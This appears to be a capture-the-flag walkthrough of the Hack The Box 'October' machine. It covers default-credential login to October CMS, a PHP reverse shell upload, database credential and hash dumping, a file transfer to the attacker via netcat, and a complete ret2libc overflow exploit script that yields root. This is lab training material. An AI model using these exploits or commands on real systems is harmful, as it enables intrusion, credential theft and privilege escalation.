Home Hack The Box Writeup - October
Post
Cancel

Hack The Box Writeup - October

Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rustscan --ulimit 5000 10.129.225.172 -- sV -sC -oN nmap_scan

PORT   STATE SERVICE REASON  VERSION

PORT   STATE SERVICE  REASON  VERSION                                                                                                                                                        
22/tcp open  ssh      syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)                                                                                                 
| ssh-hostkey:                                                                                                                                                                               
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)                                                                                                                               
| ssh-dss AAAAB3NzaC1kc3MAAACBANmRR7UDp17vLPWjPYGFFxhFHygkw1gVmWZCAUO+TBY4OPnIWGRwrG+zyo39zVror9IS7wgI8rGUuwSd0Yc0xOYlrnZ9jvE7x/

80/tcp open  ssl/http syn-ack Apache/2.4.7 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 1D585CCF71E2EB73F03BCF484CFC2259
| http-methods: 
|   Supported Methods: GET HEAD POST PUT PATCH DELETE OPTIONS
|_  Potentially risky methods: PUT PATCH DELETE 
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We get back the following result showing that two ports are open:

  • Port 80: running Apache httpd 2.4.7 (October CMS - Vanilla)
  • Port 22: running OpenSSH 6.6.1p1

Port 80 - Apache Server

Visiting the web application via the browser, we can see a website that’s apparently built with OctoberCMS using the Vanilla theme.

“October is a self-hosted CMS platform based on the Laravel PHP Framework. Thousands of digital studios and professional web developers have built businesses around October CMS.” (https://octobercms.com/)

At first glance, we have 3 different functionalities: Account, Blog and Forum

Account:

Blog:

Forum:

However, after some further research, I was not able to find any interesting information. Therefore I started feroxbuster to reveal additional directories and files.

1
2
3
4
5
6
7
8
9
10
11
12
feroxbuster -u http://10.129.225.172 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

200      118l      280w     5212c http://10.129.225.172/index.php
200      217l      384w        0c http://10.129.225.172/forum
200      104l      230w     4283c http://10.129.225.172/blog
301        9l       28w      316c http://10.129.225.172/themes
301        9l       28w      317c http://10.129.225.172/modules
200      146l      265w     5116c http://10.129.225.172/account
301        9l       28w      315c http://10.129.225.172/tests
301        9l       28w      317c http://10.129.225.172/storage
301        9l       28w      317c http://10.129.225.172/plugins
302       12l       22w      412c http://10.129.225.172/backend

Some googling has shown, that the admin login is in /backend:

I then tried some default credentials: username: admin, password: admin. And it worked!

Initial Foothold

As with every CMS, we can try to upload media/themes/plugins. This CMS in particular offers the upload of arbitrary files with the .php5 files (there was already one .php5 file).

Then I simply uploaded a PHP reverse shell and changed the file-ending to php5.

Accessing the file, results in getting a reverse shell.

1
2
3
www-data@october:/var/www$ id && hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
october

My first idea was to investigate the web-app files, as we have full access to those files as user www-data.

I then found a mysql config file, which revealed the mysql creds october:OctoberCMSPassword!!

I tried to access the mysql database. And it worked!

1
www-data@october:/var/www/html/cms/config$ mysql -u october -p

Here, we can see 2 databases, while only the database october seems to be of interest. It also contains a table called backend_users, which contains a password for the user harry whose home-directory exists in /home/harry. My idea was to find a password hash for this specific user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> show databases;                                                                                                                                                                       
+--------------------+                   
| Database           |
+--------------------+ 
| information_schema |                        
| october            |          
+--------------------+  

mysql> select first_name, last_name, login, password from backend_users;
+------------+--------------+-------+--------------------------------------------------------------+
| first_name | last_name    | login | password                                                     |
+------------+--------------+-------+--------------------------------------------------------------+
| Harry      | Varthakouris | harry | $2y$10$4tBYxIpkBpR9.coxVUdeJetCp77EFLp1U2o/f2.wlKaBbe698aIzO |
| Admin      | Admin        | admin | $2y$10$ozRr2QHKXLJXx/n.rhQO6.2PxEeNXywYozigkq5NrH7TRBLzqrzUG |
+------------+--------------+-------+--------------------------------------------------------------+

Nice! We have the password-hash of harry. Maybe the user also re-used the password on the machine, such that we can successfully switch users. Then, I started hashcat to crack the hash $2y$10$4tBYxIpkBpR9.coxVUdeJetCp77EFLp1U2o/f2.wlKaBbe698aIzO which is of the type bcrypt $2*$, Blowfish (Unix).

1
hashcat -m 3200 harry_hash /usr/share/wordlists/rockyou.txt -w 4

After hours of attempting to crack the hash of the user ‘harry’ (luckily I had a meeting in that time), I decided to look for another way, as this was apparently not the correct approach.

Next on the list: SUID and Capabilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@october:/$ find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/ping
/bin/fusermount
/bin/su
/bin/ping6
/bin/mount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw       <-- this is very suspicious

Permissions show, that we are able to execute that file with root permissions.

1
2
www-data@october:/usr/local/bin$ ls -la ovrflw 
-rwsr-xr-x 1 root root 7377 Apr 21  2017 ovrflw

As the file is called overflow (or at least a variation of that word), I immediately checked for a buffer overflow.

1
2
3
4
5
6
7
8
9
www-data@october:/usr/local/bin$ ./ovrflw 
Syntax: ./ovrflw <input string>
www-data@october:/usr/local/bin$ ./ovrflw A
www-data@october:/usr/local/bin$ ./ovrflw AAAA
www-data@october:/usr/local/bin$ ./ovrflw AAAAAAAAA
www-data@october:/usr/local/bin$ ./ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
www-data@october:/usr/local/bin$ ./ovrflw $(python -c "print 'A'*100")
www-data@october:/usr/local/bin$ ./ovrflw $(python -c "print 'A'*150")
Segmentation fault (core dumped)

So as the name says, the program contains a buffer overflow vulnerability …. ufff Binary Exploitation. Let me quickly get my notes of those lectures and courses.

First, let’s transfer the binary to my local machine as I have more suitable tools there:

1
2
3
4
5
www-data@october:/usr/local/bin$ cat ovrflw | nc 10.10.14.19 5555

└─$ nc -lnvp 5555 > ovrflw                                                                                                                                                             130 ⨯
listening on [any] 5555 ...
connect to [10.10.14.19] from (UNKNOWN) [10.129.225.172] 42248

Then let’s check if ASLR is enabled on the target machine:

1
2
www-data@october:/usr/local/bin$ cat /proc/sys/kernel/randomize_va_space 
2

Meh … ASLR is enabled. So it’s probably some ROP related exploit.

1
2
3
└─$ checksec --file=ovrflw 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   69) Symbols       No    0               2               ovrflw

Also, No eXecute is enabled. So this is definitely ret2libc.

On my local machine I have a gdb plugin called gdb-peda, which is very useful for those tasks. First, we check how many bytes are needed until we reach the EIP overflow (pattern_create and pattern_offset):

1
2
3
4
5
6
7
8
9
gdb-peda$ pattern_create 2000 /tmp/pattern.txt

gdb-peda$ r $(cat /tmp/pattern.txt)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()

gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112

In order to go for a ret2libc exploit, we first have to find out the libc base address on the target machine.

1
2
www-data@october:/usr/local/bin$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757d000)

Libc address is 0xb757d000. Next, we need the offsets of the system and exit function.

1
2
3
4
5
www-data@october:/usr/local/bin$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

www-data@october:/usr/local/bin$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
  139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0

eystem() offset is 00040310.
exit() offset is 00033260.

And finally we need the offset of the argument-string that we want to execute. In our case that’s spawning a shell, so /bin/bash:

1
2
3
www-data@october:/usr/local/bin$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/" 
 162bac /bin/sh
 164b10 /bin/csh

/bin/sh offset is 162bac.

Now that we have all necessary addresses and offsets, we can create the final payload. I usually do that with the help of a python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
import struct

libc_base = 0xb757d000
system = libc_base + 0x40310 #system
exit = libc_base + 0x33260   #exit
args = libc_base + 0x162bac  #/bin/sh

buffer = "A" * 112
buffer += struct.pack("<I", system)
buffer += struct.pack("<I", exit)
buffer += struct.pack("<I", args)

print buffer

Afterwards, the exploit string can be stored in exploit.txt

1
www-data@october:/tmp$ python exploit.py > exploit.txt

Privilege Escalation

Since ASLR is enabled, but our chosen libc_base address is static, we have to execute our payload many times until the randomized libc_base address matches our chosen libc_base address. Since only 2 bytes are changing (I confirmed that by running ldd /usr/local/bin/ovrflw | grep libc several times), the chance of hitting the correct libc_base address is quite high.

1
www-data@october:/tmp$ while true; do /usr/local/bin/ovrflw $(cat exploit.txt); done;                                        

There we go! Our exploit worked and we successfully spawned a root shell.

This post is licensed under CC BY 4.0 by the author.